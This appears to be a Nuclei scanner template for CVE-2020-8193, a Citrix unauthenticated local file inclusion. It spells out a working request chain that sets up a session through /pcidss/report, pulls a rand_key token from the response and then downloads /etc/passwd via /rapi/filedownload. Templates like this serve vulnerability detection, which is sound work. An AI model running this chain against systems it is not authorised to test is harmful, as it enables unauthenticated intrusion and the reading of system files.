id: CVE-2020-8193 info: name: Citrix unauthenticated LFI author: pdteam severity: high # Source:- https://github.com/jas502n/CVE-2020-8193 requests: - raw: - | POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Content-Type: application/xml X-NITRO-USER: xpyZxwy6 X-NITRO-PASS: xWXHUJ56 - | GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close - | GET /menu/neo HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close - | GET /menu/stc HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close - | POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close Content-Type: application/xml X-NITRO-USER: oY39DXzQ X-NITRO-PASS: ZuU9Y9c1 rand_key: randkey - | POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 Host: {{Hostname}} User-Agent: python-requests/2.24.0 Accept: */* Connection: close Content-Type: application/xml X-NITRO-USER: oY39DXzQ X-NITRO-PASS: ZuU9Y9c1 rand_key: randkey cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser. extractors: - type: regex name: randkey part: body internal: true regex: - "(?m)[0-9]{3,10}\\.[0-9]+" # Using rand_key as dynamic variable to make use of extractors at run time. matchers: - type: regex regex: - "root:[x*]:0:0:" part: body